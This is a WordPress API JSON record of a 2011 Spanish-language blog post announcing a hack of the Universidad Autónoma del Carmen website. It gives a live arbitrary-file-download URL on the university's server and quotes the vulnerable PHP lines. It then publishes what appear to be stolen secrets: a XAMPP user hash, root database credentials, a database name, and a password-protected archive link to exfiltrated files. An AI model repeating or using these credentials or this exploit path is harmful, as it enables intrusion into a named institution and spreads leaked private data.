{"id":1084,"date":"2011-04-16T00:16:01","date_gmt":"2011-04-16T05:16:01","guid":{"rendered":"http:\/\/puchunguis.com\/blog\/?p=1084"},"modified":"2011-04-16T00:17:50","modified_gmt":"2011-04-16T05:17:50","slug":"universidad-autonoma-del-carmen-unacar-mx","status":"publish","type":"post","link":"https:\/\/www.jorgealdana.pro\/blog\/seguridad\/universidad-autonoma-del-carmen-unacar-mx\/","title":{"rendered":"Hackean a la Universidad Aut\u00f3noma del Carmen (unacar.mx)"},"content":{"rendered":"<p><a href=\"https:\/\/484c2a6d15c399b70beb-b1e2a15a3df201703b71bb9b31acda05.ssl.cf5.rackcdn.com\/2011\/04\/logo_unacar.jpg\" target=\"_blank\" rel=\"noopener\"><img decoding=\"async\" src=\"https:\/\/484c2a6d15c399b70beb-b1e2a15a3df201703b71bb9b31acda05.ssl.cf5.rackcdn.com\/2011\/04\/logo_unacar-150x150.jpg\" alt=\"\" title=\"logo_unacar\" width=\"150\" height=\"150\" class=\"alignleft size-thumbnail wp-image-1086\" \/><\/a>Una vulnerabilidad en el sitio web de la Universidad Aut\u00f3noma del Carmen permite descargar cualquier archivo de su servidor web<\/p>\n<p><a href=\"http:\/\/www.campusvirtual.unacar.mx\/descarga.php?f=\" target=\"_blank\" rel=\"noopener\">http:\/\/www.campusvirtual.unacar.mx\/descarga.php?f=<\/a>EL ARCHIVO QUE QUIERAS DESCARGAR<\/p>\n<p>Vulnerabilidad en: descarga.php (l\u00edneas 18 y 19)<br \/>\n$ftmp = explode(\u00ab.\u00bb,$archivo);<br \/>\n$fExt = strtolower($ftmp[count($ftmp)-1]);<\/p>\n<p>Por ello no deben hacer copy paste de c\u00f3digos en Internet si no lo entienden.<\/p>\n<p>Algo de informaci\u00f3n:<\/p>\n<p>Archivo xampp.users:<br \/>\nxampp:wWWY6N06bl1XU<\/p>\n<p>Base de datos:<br \/>\n$servidor = \u00ablocalhost\u00bb;<br \/>\n$usuario = \u00abroot\u00bb;<br \/>\n$clave = \u00absmi3012pts\u00bb;<br \/>\n\/\/$clave = \u00abrootadmin\u00bb;<br \/>\n$db = \u00abunacar_ta\u00bb;<\/p>\n<p>Algunos archivos:<br \/>\n<a href=\"https:\/\/rapidshare.com\/files\/457646199\/unacar.rar\" target=\"_blank\" rel=\"noopener\">https:\/\/rapidshare.com\/files\/457646199\/unacar.rar<\/a><br \/>\nPassword: blog.puchunguis.com<\/p>\n<p>TIPS: El servidor es Linux con XAMPP <\/p>\n<p>Fuente: <a href=\"mailto:jag@anonymbox.com\">Correo an\u00f3nimo: jag@anonymbox.com<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Una vulnerabilidad en el sitio web de la Universidad Aut\u00f3noma del Carmen permite descargar cualquier archivo de su servidor web http:\/\/www.campusvirtual.unacar.mx\/descarga.php?f=EL ARCHIVO QUE QUIERAS DESCARGAR Vulnerabilidad en: descarga.php (l\u00edneas 18 y 19) $ftmp = explode(\u00ab.\u00bb,$archivo); $fExt = strtolower($ftmp); Por ello no deben hacer copy paste de c\u00f3digos en Internet si no lo entienden. Algo de informaci\u00f3n: Archivo xampp.users: xampp:wWWY6N06bl1XU Base de datos: $servidor = \u00ablocalhost\u00bb; $usuario = \u00abroot\u00bb; $clave = \u00absmi3012pts\u00bb; \/\/$clave = \u00abrootadmin\u00bb; $db = \u00abunacar_ta\u00bb; Algunos archivos: https:\/\/rapidshare.com\/files\/457646199\/unacar.rar Password: blog.puchunguis.com TIPS: El servidor es Linux con XAMPP Fuente: Correo an\u00f3nimo: jag@anonymbox.com<\/p>\n","protected":false},"author":1,"featured_media":1086,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[14],"tags":[1974,1979,1975,1982,1976,1977,7,1978,1981,1980],"class_list":["post-1084","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-seguridad","tag-hack-unacar","tag-hack-unacar-edu-mx","tag-hackean-a-la-unacar","tag-hackean-a-la-universidad-autonoma-del-carmen","tag-hackean-unacar","tag-hackearon-a-la-unacar","tag-hackers","tag-unacar-hack","tag-unacar-hackeado","tag-unacar-edu-mx-hackeado","has_thumb"],"_links":{"self":[{"href":"https:\/\/www.jorgealdana.pro\/blog\/wp-json\/wp\/v2\/posts\/1084","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.jorgealdana.pro\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.jorgealdana.pro\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.jorgealdana.pro\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.jorgealdana.pro\/blog\/wp-json\/wp\/v2\/comments?post=1084"}],"version-history":[{"count":3,"href":"https:\/\/www.jorgealdana.pro\/blog\/wp-json\/wp\/v2\/posts\/1084\/revisions"}],"predecessor-version":[{"id":1089,"href":"https:\/\/www.jorgealdana.pro\/blog\/wp-json\/wp\/v2\/posts\/1084\/revisions\/1089"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.jorgealdana.pro\/blog\/wp-json\/wp\/v2\/media\/1086"}],"wp:attachment":[{"href":"https:\/\/www.jorgealdana.pro\/blog\/wp-json\/wp\/v2\/media?parent=1084"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.jorgealdana.pro\/blog\/wp-json\/wp\/v2\/categories?post=1084"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.jorgealdana.pro\/blog\/wp-json\/wp\/v2\/tags?post=1084"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}